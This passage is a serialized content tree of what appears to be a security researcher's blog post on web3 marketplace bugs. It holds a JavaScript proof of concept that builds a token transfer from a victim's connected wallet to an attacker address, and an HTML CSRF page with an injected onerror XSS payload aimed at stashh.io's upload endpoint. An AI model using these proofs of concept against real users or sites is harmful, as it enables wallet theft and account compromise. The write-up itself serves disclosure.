fromAddress",{"type":23,"tag":75,"props":42749,"children":42750},{"style":209},[42751],{"type":29,"value":1193},{"type":23,"tag":75,"props":42753,"children":42754},{"style":110},[42755],{"type":29,"value":42756}," accounts",{"type":23,"tag":75,"props":42758,"children":42759},{"style":94},[42760],{"type":29,"value":814},{"type":23,"tag":75,"props":42762,"children":42763},{"style":237},[42764],{"type":29,"value":648},{"type":23,"tag":75,"props":42766,"children":42767},{"style":94},[42768],{"type":29,"value":42769},"];\n",{"type":23,"tag":75,"props":42771,"children":42772},{"class":77,"line":220},[42773,42777,42782,42786,42791],{"type":23,"tag":75,"props":42774,"children":42775},{"style":82},[42776],{"type":29,"value":42742},{"type":23,"tag":75,"props":42778,"children":42779},{"style":110},[42780],{"type":29,"value":42781}," attackerAddress",{"type":23,"tag":75,"props":42783,"children":42784},{"style":209},[42785],{"type":29,"value":1193},{"type":23,"tag":75,"props":42787,"children":42788},{"style":1266},[42789],{"type":29,"value":42790}," '0x0000000000000000000000000000000000000000'",{"type":23,"tag":75,"props":42792,"children":42793},{"style":94},[42794],{"type":29,"value":245},{"type":23,"tag":75,"props":42796,"children":42797},{"class":77,"line":248},[42798,42802,42807,42811,42816],{"type":23,"tag":75,"props":42799,"children":42800},{"style":82},[42801],{"type":29,"value":42742},{"type":23,"tag":75,"props":42803,"children":42804},{"style":110},[42805],{"type":29,"value":42806}," contractAddress",{"type":23,"tag":75,"props":42808,"children":42809},{"style":209},[42810],{"type":29,"value":1193},{"type":23,"tag":75,"props":42812,"children":42813},{"style":1266},[42814],{"type":29,"value":42815}," '0xa01000c52b234a92563ba61e5649b7c76e1ba0f3'",{"type":23,"tag":75,"props":42817,"children":42818},{"style":94},[42819],{"type":29,"value":245},{"type":23,"tag":75,"props":42821,"children":42822},{"class":77,"line":270},[42823],{"type":23,"tag":75,"props":42824,"children":42825},{"emptyLinePlaceholder":15},[42826],{"type":29,"value":276},{"type":23,"tag":75,"props":42828,"children":42829},{"class":77,"line":279},[42830,42834,42839,42843],{"type":23,"tag":75,"props":42831,"children":42832},{"style":82},[42833],{"type":29,"value":19334},{"type":23,"tag":75,"props":42835,"children":42836},{"style":110},[42837],{"type":29,"value":42838}," tokenAbi",{"type":23,"tag":75,"props":42840,"children":42841},{"style":209},[42842],{"type":29,"value":1193},{"type":23,"tag":75,"props":42844,"children":42845},{"style":94},[42846],{"type":29,"value":36823},{"type":23,"tag":75,"props":42848,"children":42849},{"class":77,"line":303},[42850],{"type":23,"tag":75,"props":42851,"children":42852},{"style":94},[42853],{"type":29,"value":42854},"        {\n",{"type":23,"tag":75,"props":42856,"children":42857},{"class":77,"line":322},[42858,42863,42867],{"type":23,"tag":75,"props":42859,"children":42860},{"style":110},[42861],{"type":29,"value":42862},"          constant:",{"type":23,"tag":75,"props":42864,"children":42865},{"style":82},[42866],{"type":29,"value":20313},{"type":23,"tag":75,"props":42868,"children":42869},{"style":94},[42870],{"type":29,"value":118},{"type":23,"tag":75,"props":42872,"children":42873},{"class":77,"line":340},[42874,42879],{"type":23,"tag":75,"props":42875,"children":42876},{"style":110},[42877],{"type":29,"value":42878},"          inputs:",{"type":23,"tag":75,"props":42880,"children":42881},{"style":94},[42882],{"type":29,"value":36823},{"type":23,"tag":75,"props":42884,"children":42885},{"class":77,"line":349},[42886],{"type":23,"tag":75,"props":42887,"children":42888},{"style":94},[42889],{"type":29,"value":42890},"            {\n",{"type":23,"tag":75,"props":42892,"children":42893},{"class":77,"line":363},[42894,42899,42904],{"type":23,"tag":75,"props":42895,"children":42896},{"style":110},[42897],{"type":29,"value":42898},"              name:",{"type":23,"tag":75,"props":42900,"children":42901},{"style":1266},[42902],{"type":29,"value":42903}," '_to'",{"type":23,"tag":75,"props":42905,"children":42906},{"style":94},[42907],{"type":29,"value":118},{"type":23,"tag":75,"props":42909,"children":42910},{"class":77,"line":656},[42911,42916,42921],{"type":23,"tag":75,"props":42912,"children":42913},{"style":110},[42914],{"type":29,"value":42915},"              type:",{"type":23,"tag":75,"props":42917,"children":42918},{"style":1266},[42919],{"type":29,"value":42920}," 'address'",{"type":23,"tag":75,"props":42922,"children":42923},{"style":94},[42924],{"type":29,"value":118},{"type":23,"tag":75,"props":42926,"children":42927},{"class":77,"line":705},[42928],{"type":23,"tag":75,"props":42929,"children":42930},{"style":94},[42931],{"type":29,"value":42932},"            },\n",{"type":23,"tag":75,"props":42934,"children":42935},{"class":77,"line":787},[42936],{"type":23,"tag":75,"props":42937,"children":42938},{"style":94},[42939],{"type":29,"value":42890},{"type":23,"tag":75,"props":42941,"children":42942},{"class":77,"line":826},[42943,42947,42952],{"type":23,"tag":75,"props":42944,"children":42945},{"style":110},[42946],{"type":29,"value":42898},{"type":23,"tag":75,"props":42948,"children":42949},{"style":1266},[42950],{"type":29,"value":42951}," '_value'",{"type":23,"tag":75,"props":42953,"children":42954},{"style":94},[42955],{"type":29,"value":118},{"type":23,"tag":75,"props":42957,"children":42958},{"class":77,"line":834},[42959,42963,42968],{"type":23,"tag":75,"props":42960,"children":42961},{"style":110},[42962],{"type":29,"value":42915},{"type":23,"tag":75,"props":42964,"children":42965},{"style":1266},[42966],{"type":29,"value":42967}," 'uint256'",{"type":23,"tag":75,"props":42969,"children":42970},{"style":94},[42971],{"type":29,"value":118},{"type":23,"tag":75,"props":42973,"children":42974},{"class":77,"line":881},[42975],{"type":23,"tag":75,"props":42976,"children":42977},{"style":94},[42978],{"type":29,"value":42932},{"type":23,"tag":75,"props":42980,"children":42981},{"class":77,"line":3355},[42982],{"type":23,"tag":75,"props":42983,"children":42984},{"style":94},[42985],{"type":29,"value":42986},"          ],\n",{"type":23,"tag":75,"props":42988,"children":42989},{"class":77,"line":3390},[42990,42995,43000],{"type":23,"tag":75,"props":42991,"children":42992},{"style":110},[42993],{"type":29,"value":42994},"          name:",{"type":23,"tag":75,"props":42996,"children":42997},{"style":1266},[42998],{"type":29,"value":42999}," 'transfer'",{"type":23,"tag":75,"props":43001,"children":43002},{"style":94},[43003],{"type":29,"value":118},{"type":23,"tag":75,"props":43005,"children":43006},{"class":77,"line":3423},[43007,43012],{"type":23,"tag":75,"props":43008,"children":43009},{"style":110},[43010],{"type":29,"value":43011},"          outputs:",{"type":23,"tag":75,"props":43013,"children":43014},{"style":94},[43015],{"type":29,"value":36823},{"type":23,"tag":75,"props":43017,"children":43018},{"class":77,"line":3436},[43019],{"type":23,"tag":75,"props":43020,"children":43021},{"style":94},[43022],{"type":29,"value":42890},{"type":23,"tag":75,"props":43024,"children":43025},{"class":77,"line":3449},[43026,43030,43035],{"type":23,"tag":75,"props":43027,"children":43028},{"style":110},[43029],{"type":29,"value":42898},{"type":23,"tag":75,"props":43031,"children":43032},{"style":1266},[43033],{"type":29,"value":43034}," ''",{"type":23,"tag":75,"props":43036,"children":43037},{"style":94},[43038],{"type":29,"value":118},{"type":23,"tag":75,"props":43040,"children":43041},{"class":77,"line":3457},[43042,43046,43051],{"type":23,"tag":75,"props":43043,"children":43044},{"style":110},[43045],{"type":29,"value":42915},{"type":23,"tag":75,"props":43047,"children":43048},{"style":1266},[43049],{"type":29,"value":43050}," 'bool'",{"type":23,"tag":75,"props":43052,"children":43053},{"style":94},[43054],{"type":29,"value":118},{"type":23,"tag":75,"props":43056,"children":43057},{"class":77,"line":3465},[43058],{"type":23,"tag":75,"props":43059,"children":43060},{"style":94},[43061],{"type":29,"value":42932},{"type":23,"tag":75,"props":43063,"children":43064},{"class":77,"line":3473},[43065],{"type":23,"tag":75,"props":43066,"children":43067},{"style":94},[43068],{"type":29,"value":42986},{"type":23,"tag":75,"props":43070,"children":43071},{"class":77,"line":3481},[43072,43077,43082],{"type":23,"tag":75,"props":43073,"children":43074},{"style":110},[43075],{"type":29,"value":43076},"          type:",{"type":23,"tag":75,"props":43078,"children":43079},{"style":1266},[43080],{"type":29,"value":43081}," 'function'",{"type":23,"tag":75,"props":43083,"children":43084},{"style":94},[43085],{"type":29,"value":118},{"type":23,"tag":75,"props":43087,"children":43088},{"class":77,"line":3524},[43089],{"type":23,"tag":75,"props":43090,"children":43091},{"style":94},[43092],{"type":29,"value":36575},{"type":23,"tag":75,"props":43094,"children":43095},{"class":77,"line":4890},[43096],{"type":23,"tag":75,"props":43097,"children":43098},{"style":94},[43099],{"type":29,"value":43100},"      ];\n",{"type":23,"tag":75,"props":43102,"children":43103},{"class":77,"line":4937},[43104],{"type":23,"tag":75,"props":43105,"children":43106},{"emptyLinePlaceholder":15},[43107],{"type":29,"value":276},{"type":23,"tag":75,"props":43109,"children":43110},{"class":77,"line":4950},[43111,43115,43120,43124,43129,43134,43138,43143,43147,43151],{"type":23,"tag":75,"props":43112,"children":43113},{"style":82},[43114],{"type":29,"value":42742},{"type":23,"tag":75,"props":43116,"children":43117},{"style":110},[43118],{"type":29,"value":43119}," web3",{"type":23,"tag":75,"props":43121,"children":43122},{"style":209},[43123],{"type":29,"value":1193},{"type":23,"tag":75,"props":43125,"children":43126},{"style":82},[43127],{"type":29,"value":43128}," new",{"type":23,"tag":75,"props":43130,"children":43131},{"style":88},[43132],{"type":29,"value":43133}," Web3",{"type":23,"tag":75,"props":43135,"children":43136},{"style":94},[43137],{"type":29,"value":643},{"type":23,"tag":75,"props":43139,"children":43140},{"style":110},[43141],{"type":29,"value":43142},"window",{"type":23,"tag":75,"props":43144,"children":43145},{"style":94},[43146],{"type":29,"value":557},{"type":23,"tag":75,"props":43148,"children":43149},{"style":110},[43150],{"type":29,"value":42612},{"type":23,"tag":75,"props":43152,"children":43153},{"style":94},[43154],{"type":29,"value":15099},{"type":23,"tag":75,"props":43156,"children":43157},{"class":77,"line":4958},[43158],{"type":23,"tag":75,"props":43159,"children":43160},{"emptyLinePlaceholder":15},[43161],{"type":29,"value":276},{"type":23,"tag":75,"props":43163,"children":43164},{"class":77,"line":4967},[43165,43169,43174,43178,43182,43186,43190,43195,43199,43204,43208,43213,43217,43222],{"type":23,"tag":75,"props":43166,"children":43167},{"style":82},[43168],{"type":29,"value":42742},{"type":23,"tag":75,"props":43170,"children":43171},{"style":110},[43172],{"type":29,"value":43173}," tokenContract",{"type":23,"tag":75,"props":43175,"children":43176},{"style":209},[43177],{"type":29,"value":1193},{"type":23,"tag":75,"props":43179,"children":43180},{"style":82},[43181],{"type":29,"value":43128},{"type":23,"tag":75,"props":43183,"children":43184},{"style":110},[43185],{"type":29,"value":43119},{"type":23,"tag":75,"props":43187,"children":43188},{"style":94},[43189],{"type":29,"value":557},{"type":23,"tag":75,"props":43191,"children":43192},{"style":110},[43193],{"type":29,"value":43194},"eth",{"type":23,"tag":75,"props":43196,"children":43197},{"style":94},[43198],{"type":29,"value":557},{"type":23,"tag":75,"props":43200,"children":43201},{"style":88},[43202],{"type":29,"value":43203},"Contract",{"type":23,"tag":75,"props":43205,"children":43206},{"style":94},[43207],{"type":29,"value":643},{"type":23,"tag":75,"props":43209,"children":43210},{"style":110},[43211],{"type":29,"value":43212},"tokenAbi",{"type":23,"tag":75,"props":43214,"children":43215},{"style":94},[43216],{"type":29,"value":611},{"type":23,"tag":75,"props":43218,"children":43219},{"style":110},[43220],{"type":29,"value":43221},"contractAddress",{"type":23,"tag":75,"props":43223,"children":43224},{"style":94},[43225],{"type":29,"value":15099},{"type":23,"tag":75,"props":43227,"children":43228},{"class":77,"line":4975},[43229],{"type":23,"tag":75,"props":43230,"children":43231},{"emptyLinePlaceholder":15},[43232],{"type":29,"value":276},{"type":23,"tag":75,"props":43234,"children":43235},{"class":77,"line":5016},[43236,43240,43245,43249],{"type":23,"tag":75,"props":43237,"children":43238},{"style":82},[43239],{"type":29,"value":42742},{"type":23,"tag":75,"props":43241,"children":43242},{"style":110},[43243],{"type":29,"value":43244}," transactionObject",{"type":23,"tag":75,"props":43246,"children":43247},{"style":209},[43248],{"type":29,"value":1193},{"type":23,"tag":75,"props":43250,"children":43251},{"style":94},[43252],{"type":29,"value":401},{"type":23,"tag":75,"props":43254,"children":43255},{"class":77,"line":5025},[43256,43261,43265],{"type":23,"tag":75,"props":43257,"children":43258},{"style":110},[43259],{"type":29,"value":43260},"        from:",{"type":23,"tag":75,"props":43262,"children":43263},{"style":110},[43264],{"type":29,"value":42747},{"type":23,"tag":75,"props":43266,"children":43267},{"style":94},[43268],{"type":29,"value":118},{"type":23,"tag":75,"props":43270,"children":43271},{"class":77,"line":5033},[43272,43277,43281],{"type":23,"tag":75,"props":43273,"children":43274},{"style":110},[43275],{"type":29,"value":43276},"        to:",{"type":23,"tag":75,"props":43278,"children":43279},{"style":110},[43280],{"type":29,"value":42806},{"type":23,"tag":75,"props":43282,"children":43283},{"style":94},[43284],{"type":29,"value":118},{"type":23,"tag":75,"props":43286,"children":43287},{"class":77,"line":5041},[43288,43293,43297,43301],{"type":23,"tag":75,"props":43289,"children":43290},{"style":110},[43291],{"type":29,"value":43292},"        data:",{"type":23,"tag":75,"props":43294,"children":43295},{"style":110},[43296],{"type":29,"value":43173},{"type":23,"tag":75,"props":43298,"children":43299},{"style":94},[43300],{"type":29,"value":557},{"type":23,"tag":75,"props":43302,"children":43303},{"style":110},[43304],{"type":29,"value":43305},"methods\n",{"type":23,"tag":75,"props":43307,"children":43308},{"class":77,"line":5050},[43309,43314,43319,43323,43328,43332,43337,43341,43346,43350,43355,43359,43364,43368,43373],{"type":23,"tag":75,"props":43310,"children":43311},{"style":94},[43312],{"type":29,"value":43313},"          .",{"type":23,"tag":75,"props":43315,"children":43316},{"style":88},[43317],{"type":29,"value":43318},"transfer",{"type":23,"tag":75,"props":43320,"children":43321},{"style":94},[43322],{"type":29,"value":643},{"type":23,"tag":75,"props":43324,"children":43325},{"style":110},[43326],{"type":29,"value":43327},"attackerAddress",{"type":23,"tag":75,"props":43329,"children":43330},{"style":94},[43331],{"type":29,"value":611},{"type":23,"tag":75,"props":43333,"children":43334},{"style":110},[43335],{"type":29,"value":43336},"web3",{"type":23,"tag":75,"props":43338,"children":43339},{"style":94},[43340],{"type":29,"value":557},{"type":23,"tag":75,"props":43342,"children":43343},{"style":110},[43344],{"type":29,"value":43345},"utils",{"type":23,"tag":75,"props":43347,"children":43348},{"style":94},[43349],{"type":29,"value":557},{"type":23,"tag":75,"props":43351,"children":43352},{"style":88},[43353],{"type":29,"value":43354},"toWei",{"type":23,"tag":75,"props":43356,"children":43357},{"style":94},[43358],{"type":29,"value":643},{"type":23,"tag":75,"props":43360,"children":43361},{"style":1266},[43362],{"type":29,"value":43363},"'100000000'",{"type":23,"tag":75,"props":43365,"children":43366},{"style":94},[43367],{"type":29,"value":611},{"type":23,"tag":75,"props":43369,"children":43370},{"style":1266},[43371],{"type":29,"value":43372},"'ether'",{"type":23,"tag":75,"props":43374,"children":43375},{"style":94},[43376],{"type":29,"value":702},{"type":23,"tag":75,"props":43378,"children":43379},{"class":77,"line":5058},[43380,43384,43389],{"type":23,"tag":75,"props":43381,"children":43382},{"style":94},[43383],{"type":29,"value":43313},{"type":23,"tag":75,"props":43385,"children":43386},{"style":88},[43387],{"type":29,"value":43388},"encodeABI",{"type":23,"tag":75,"props":43390,"children":43391},{"style":94},[43392],{"type":29,"value":2580},{"type":23,"tag":75,"props":43394,"children":43395},{"class":77,"line":5083},[43396],{"type":23,"tag":75,"props":43397,"children":43398},{"style":94},[43399],{"type":29,"value":20176},{"type":23,"tag":75,"props":43401,"children":43402},{"class":77,"line":5108},[43403],{"type":23,"tag":75,"props":43404,"children":43405},{"emptyLinePlaceholder":15},[43406],{"type":29,"value":276},{"type":23,"tag":75,"props":43408,"children":43409},{"class":77,"line":5137},[43410,43415,43419,43423,43427,43432,43436,43441],{"type":23,"tag":75,"props":43411,"children":43412},{"style":110},[43413],{"type":29,"value":43414},"      web3",{"type":23,"tag":75,"props":43416,"children":43417},{"style":94},[43418],{"type":29,"value":557},{"type":23,"tag":75,"props":43420,"children":43421},{"style":110},[43422],{"type":29,"value":43194},{"type":23,"tag":75,"props":43424,"children":43425},{"style":94},[43426],{"type":29,"value":557},{"type":23,"tag":75,"props":43428,"children":43429},{"style":88},[43430],{"type":29,"value":43431},"sendTransaction",{"type":23,"tag":75,"props":43433,"children":43434},{"style":94},[43435],{"type":29,"value":643},{"type":23,"tag":75,"props":43437,"children":43438},{"style":110},[43439],{"type":29,"value":43440},"transactionObject",{"type":23,"tag":75,"props":43442,"children":43443},{"style":94},[43444],{"type":29,"value":15099},{"type":23,"tag":75,"props":43446,"children":43447},{"class":77,"line":5163},[43448],{"type":23,"tag":75,"props":43449,"children":43450},{"style":94},[43451],{"type":29,"value":43452},"    });\n",{"type":23,"tag":75,"props":43454,"children":43455},{"class":77,"line":5172},[43456],{"type":23,"tag":75,"props":43457,"children":43458},{"style":94},[43459],{"type":29,"value":17141},{"type":23,"tag":75,"props":43461,"children":43462},{"class":77,"line":5206},[43463],{"type":23,"tag":75,"props":43464,"children":43465},{"style":94},[43466],{"type":29,"value":369},{"type":23,"tag":75,"props":43468,"children":43469},{"class":77,"line":5214},[43470],{"type":23,"tag":75,"props":43471,"children":43472},{"emptyLinePlaceholder":15},[43473],{"type":29,"value":276},{"type":23,"tag":75,"props":43475,"children":43476},{"class":77,"line":5227},[43477,43481,43485,43490],{"type":23,"tag":75,"props":43478,"children":43479},{"style":82},[43480],{"type":29,"value":30706},{"type":23,"tag":75,"props":43482,"children":43483},{"style":94},[43484],{"type":29,"value":643},{"type":23,"tag":75,"props":43486,"children":43487},{"style":1266},[43488],{"type":29,"value":43489},"'https://cdn.jsdelivr.net/gh/ethereum/web3.js@1.0.0-beta.36/dist/web3.min.js'",{"type":23,"tag":75,"props":43491,"children":43492},{"style":94},[43493],{"type":29,"value":15099},{"type":23,"tag":75,"props":43495,"children":43496},{"class":77,"line":5259},[43497,43502,43506,43510,43514,43519],{"type":23,"tag":75,"props":43498,"children":43499},{"style":88},[43500],{"type":29,"value":43501},"setTimeout",{"type":23,"tag":75,"props":43503,"children":43504},{"style":94},[43505],{"type":29,"value":643},{"type":23,"tag":75,"props":43507,"children":43508},{"style":110},[43509],{"type":29,"value":42688},{"type":23,"tag":75,"props":43511,"children":43512},{"style":94},[43513],{"type":29,"value":611},{"type":23,"tag":75,"props":43515,"children":43516},{"style":237},[43517],{"type":29,"value":43518},"1e3",{"type":23,"tag":75,"props":43520,"children":43521},{"style":94},[43522],{"type":29,"value":15099},{"type":23,"tag":32,"props":43524,"children":43525},{},[43526,43531],{"type":23,"tag":16596,"props":43527,"children":43528},{},[43529],{"type":29,"value":43530},"CSRF & XSS",{"type":29,"value":43532},"\nWe continued our investigation of potential XSS vulnerabilities by exploring various sinks, such as common field errors and the handling of file uploads in different marketplaces.",{"type":23,"tag":32,"props":43534,"children":43535},{},[43536,43538,43543],{"type":29,"value":43537},"Our attention was drawn to ",{"type":23,"tag":940,"props":43539,"children":43541},{"href":42476,"rel":43540},[944],[43542],{"type":29,"value":42480},{"type":29,"value":43544},", an online platform that allows users to upload images. During the image uploading process, we noticed that certain parameters were being sent in the request, as shown below:",{"type":23,"tag":32,"props":43546,"children":43547},{},[43548],{"type":23,"tag":15189,"props":43549,"children":43551},{"alt":7,"src":43550},"/posts/web2-bug-repellant-instructions/csrf.png",[],{"type":23,"tag":32,"props":43553,"children":43554},{},[43555],{"type":29,"value":43556},"and here there is the code:",{"type":23,"tag":64,"props":43558,"children":43560},{"className":42559,"code":43559,"language":42561,"meta":7,"style":7},"\u003Chtml>\n  \u003Cbody>\n  \u003Cscript>history.pushState('', '', '/')\u003C/script>\n    \u003Cform id=\"form123\" action=\"https://stashh.io/upload_asset\" method=\"POST\" enctype=\"multipart/form-data\" value=\"asd\">\n     \u003Cinput type=\"file\" name=\"data\" id=\"file123\">\n      \u003Cinput type=\"hidden\" name=\"config\" value=\"{"address":"secret1k6tng55v0zgufpcx8wa2w33asl82fhx84tn3hq<img/src=x onerror=alert(document.domain)>","to":"profile-assets","type":"icon"}\" />\n      \u003Cinput type=\"submit\" value=\"Submit request\" />\n    \u003C/form>\n  \u003C/body>\n\n  \u003Cscript>\n\n    (async ()=>{\n        const blob = await (await fetch(\"/sapo.png\")).blob()\n\n        let f = new File([blob], 'sapo.png', {type: 'image/png'})\n        const dataTransfer = new DataTransfer();\n        dataTransfer.items.add(f);\n\n        file123.files = dataTransfer.files;\n    })()\n\n  \u003C/script>\n\u003C/html>\n",[43561],{"type":23,"tag":71,"props":43562,"children":43563},{"__ignoreMap":7},[43564,43581,43598,43632,43718,43775,43973,44014,44030,44046,44053,44068,44075,44087,44146,44153,44216,44245,44283,44290,44328,44341,44348,44363],{"type":23,"tag":75,"props":43565,"children":43566},{"class":77,"line":78},[43567,43572,43577],{"type":23,"tag":75,"props":43568,"children":43570},{"style":43569},"--shiki-default:#808080",[43571],{"type":29,"value":295},{"type":23,"tag":75,"props":43573,"children":43574},{"style":82},[43575],{"type":29,"value":43576},"html",{"type":23,"tag":75,"props":43578,"children":43579},{"style":43569},[43580],{"type":29,"value":17260},{"type":23,"tag":75,"props":43582,"children":43583},{"class":77,"line":100},[43584,43589,43594],{"type":23,"tag":75,"props":43585,"children":43586},{"style":43569},[43587],{"type":29,"value":43588},"  \u003C",{"type":23,"tag":75,"props":43590,"children":43591},{"style":82},[43592],{"type":29,"value":43593},"body",{"type":23,"tag":75,"props":43595,"children":43596},{"style":43569},[43597],{"type":29,"value":17260},{"type":23,"tag":75,"props":43599,"children":43600},{"class":77,"line":121},[43601,43605,43610,43614,43619,43624,43628],{"type":23,"tag":75,"props":43602,"children":43603},{"style":43569},[43604],{"type":29,"value":43588},{"type":23,"tag":75,"props":43606,"children":43607},{"style":82},[43608],{"type":29,"value":43609},"script",{"type":23,"tag":75,"props":43611,"children":43612},{"style":43569},[43613],{"type":29,"value":4652},{"type":23,"tag":75,"props":43615,"children":43616},{"style":94},[43617],{"type":29,"value":43618},"history.pushState('', '', '/')",{"type":23,"tag":75,"props":43620,"children":43621},{"style":43569},[43622],{"type":29,"value":43623},"\u003C/",{"type":23,"tag":75,"props":43625,"children":43626},{"style":82},[43627],{"type":29,"value":43609},{"type":23,"tag":75,"props":43629,"children":43630},{"style":43569},[43631],{"type":29,"value":17260},{"type":23,"tag":75,"props":43633,"children":43634},{"class":77,"line":138},[43635,43640,43645,43650,43654,43659,43664,43668,43673,43677,43681,43686,43691,43695,43700,43705,43709,43714],{"type":23,"tag":75,"props":43636,"children":43637},{"style":43569},[43638],{"type":29,"value":43639},"    \u003C",{"type":23,"tag":75,"props":43641,"children":43642},{"style":82},[43643],{"type":29,"value":43644},"form",{"type":23,"tag":75,"props":43646,"children":43647},{"style":110},[43648],{"type":29,"value":43649}," id",{"type":23,"tag":75,"props":43651,"children":43652},{"style":209},[43653],{"type":29,"value":212},{"type":23,"tag":75,"props":43655,"children":43656},{"style":1266},[43657],{"type":29,"value":43658},"\"form123\"",{"type":23,"tag":75,"props":43660,"children":43661},{"style":110},[43662],{"type":29,"value":43663}," action",{"type":23,"tag":75,"props":43665,"children":43666},{"style":209},[43667],{"type":29,"value":212},{"type":23,"tag":75,"props":43669,"children":43670},{"style":1266},[43671],{"type":29,"value":43672},"\"https://stashh.io/upload_asset\"",{"type":23,"tag":75,"props":43674,"children":43675},{"style":110},[43676],{"type":29,"value":28333},{"type":23,"tag":75,"props":43678,"children":43679},{"style":209},[43680],{"type":29,"value":212},{"type":23,"tag":75,"props":43682,"children":43683},{"style":1266},[43684],{"type":29,"value":43685},"\"POST\"",{"type":23,"tag":75,"props":43687,"children":43688},{"style":110},[43689],{"type":29,"value":43690}," enctype",{"type":23,"tag":75,"props":43692,"children":43693},{"style":209},[43694],{"type":29,"value":212},{"type":23,"tag":75,"props":43696,"children":43697},{"style":1266},[43698],{"type":29,"value":43699},"\"multipart/form-data\"",{"type":23,"tag":75,"props":43701,"children":43702},{"style":110},[43703],{"type":29,"value":43704}," value",{"type":23,"tag":75,"props":43706,"children":43707},{"style":209},[43708],{"type":29,"value":212},{"type":23,"tag":75,"props":43710,"children":43711},{"style":1266},[43712],{"type":29,"value":43713},"\"asd\"",{"type":23,"tag":75,"props":43715,"children":43716},{"style":43569},[43717],{"type":29,"value":17260},{"type":23,"tag":75,"props":43719,"children":43720},{"class":77,"line":161},[43721,43726,43730,43735,43739,43744,43749,43753,43758,43762,43766,43771],{"type":23,"tag":75,"props":43722,"children":43723},{"style":43569},[43724],{"type":29,"value":43725},"     \u003C",{"type":23,"tag":75,"props":43727,"children":43728},{"style":82},[43729],{"type":29,"value":1207},{"type":23,"tag":75,"props":43731,"children":43732},{"style":110},[43733],{"type":29,"value":43734}," type",{"type":23,"tag":75,"props":43736,"children":43737},{"style":209},[43738],{"type":29,"value":212},{"type":23,"tag":75,"props":43740,"children":43741},{"style":1266},[43742],{"type":29,"value":43743},"\"file\"",{"type":23,"tag":75,"props":43745,"children":43746},{"style":110},[43747],{"type":29,"value":43748}," name",{"type":23,"tag":75,"props":43750,"children":43751},{"style":209},[43752],{"type":29,"value":212},{"type":23,"tag":75,"props":43754,"children":43755},{"style":1266},[43756],{"type":29,"value":43757},"\"data\"",{"type":23,"tag":75,"props":43759,"children":43760},{"style":110},[43761],{"type":29,"value":43649},{"type":23,"tag":75,"props":43763,"children":43764},{"style":209},[43765],{"type":29,"value":212},{"type":23,"tag":75,"props":43767,"children":43768},{"style":1266},[43769],{"type":29,"value":43770},"\"file123\"",{"type":23,"tag":75,"props":43772,"children":43773},{"style":43569},[43774],{"type":29,"value":17260},{"type":23,"tag":75,"props":43776,"children":43777},{"class":77,"line":196},[43778,43783,43787,43791,43795,43800,43804,43808,43813,43817,43821,43825,43830,43835,43840,43845,43850,43854,43859,43864,43869,43873,43878,43883,43887,43892,43897,43902,43907,43912,43917,43922,43926,43931,43936,43941,43946,43950,43954,43959,43964,43968],{"type":23,"tag":75,"props":43779,"children":43780},{"style":43569},[43781],{"type":29,"value":43782},"      \u003C",{"type":23,"tag":75,"props":43784,"children":43785},{"style":82},[43786],{"type":29,"value":1207},{"type":23,"tag":75,"props":43788,"children":43789},{"style":110},[43790],{"type":29,"value":43734},{"type":23,"tag":75,"props":43792,"children":43793},{"style":209},[43794],{"type":29,"value":212},{"type":23,"tag":75,"props":43796,"children":43797},{"style":1266},[43798],{"type":29,"value":43799},"\"hidden\"",{"type":23,"tag":75,"props":43801,"children":43802},{"style":110},[43803],{"type":29,"value":43748},{"type":23,"tag":75,"props":43805,"children":43806},{"style":209},[43807],{"type":29,"value":212},{"type":23,"tag":75,"props":43809,"children":43810},{"style":1266},[43811],{"type":29,"value":43812},"\"config\"",{"type":23,"tag":75,"props":43814,"children":43815},{"style":110},[43816],{"type":29,"value":43704},{"type":23,"tag":75,"props":43818,"children":43819},{"style":209},[43820],{"type":29,"value":212},{"type":23,"tag":75,"props":43822,"children":43823},{"style":1266},[43824],{"type":29,"value":31282},{"type":23,"tag":75,"props":43826,"children":43827},{"style":82},[43828],{"type":29,"value":43829},"{"",{"type":23,"tag":75,"props":43831,"children":43832},{"style":1266},[43833],{"type":29,"value":43834},"address",{"type":23,"tag":75,"props":43836,"children":43837},{"style":82},[43838],{"type":29,"value":43839},"":"",{"type":23,"tag":75,"props":43841,"children":43842},{"style":1266},[43843],{"type":29,"value":43844},"secret1k6tng55v0zgufpcx8wa2w33asl82fhx84tn3hq",{"type":23,"tag":75,"props":43846,"children":43847},{"style":82},[43848],{"type":29,"value":43849},"<",{"type":23,"tag":75,"props":43851,"children":43852},{"style":1266},[43853],{"type":29,"value":15189},{"type":23,"tag":75,"props":43855,"children":43856},{"style":82},[43857],{"type":29,"value":43858},"/",{"type":23,"tag":75,"props":43860,"children":43861},{"style":1266},[43862],{"type":29,"value":43863},"src",{"type":23,"tag":75,"props":43865,"children":43866},{"style":82},[43867],{"type":29,"value":43868},"=",{"type":23,"tag":75,"props":43870,"children":43871},{"style":1266},[43872],{"type":29,"value":30499},{"type":23,"tag":75,"props":43874,"children":43875},{"style":82},[43876],{"type":29,"value":43877}," ",{"type":23,"tag":75,"props":43879,"children":43880},{"style":1266},[43881],{"type":29,"value":43882},"onerror",{"type":23,"tag":75,"props":43884,"children":43885},{"style":82},[43886],{"type":29,"value":43868},{"type":23,"tag":75,"props":43888,"children":43889},{"style":1266},[43890],{"type":29,"value":43891},"alert",{"type":23,"tag":75,"props":43893,"children":43894},{"style":82},[43895],{"type":29,"value":43896},"(",{"type":23,"tag":75,"props":43898,"children":43899},{"style":1266},[43900],{"type":29,"value":43901},"document",{"type":23,"tag":75,"props":43903,"children":43904},{"style":82},[43905],{"type":29,"value":43906},".",{"type":23,"tag":75,"props":43908,"children":43909},{"style":1266},[43910],{"type":29,"value":43911},"domain",{"type":23,"tag":75,"props":43913,"children":43914},{"style":82},[43915],{"type":29,"value":43916},")>","",{"type":23,"tag":75,"props":43918,"children":43919},{"style":1266},[43920],{"type":29,"value":43921},"to",{"type":23,"tag":75,"props":43923,"children":43924},{"style":82},[43925],{"type":29,"value":43839},{"type":23,"tag":75,"props":43927,"children":43928},{"style":1266},[43929],{"type":29,"value":43930},"profile",{"type":23,"tag":75,"props":43932,"children":43933},{"style":82},[43934],{"type":29,"value":43935},"-",{"type":23,"tag":75,"props":43937,"children":43938},{"style":1266},[43939],{"type":29,"value":43940},"assets",{"type":23,"tag":75,"props":43942,"children":43943},{"style":82},[43944],{"type":29,"value":43945},"","",{"type":23,"tag":75,"props":43947,"children":43948},{"style":1266},[43949],{"type":29,"value":386},{"type":23,"tag":75,"props":43951,"children":43952},{"style":82},[43953],{"type":29,"value":43839},{"type":23,"tag":75,"props":43955,"children":43956},{"style":1266},[43957],{"type":29,"value":43958},"icon",{"type":23,"tag":75,"props":43960,"children":43961},{"style":82},[43962],{"type":29,"value":43963},""}",{"type":23,"tag":75,"props":43965,"children":43966},{"style":1266},[43967]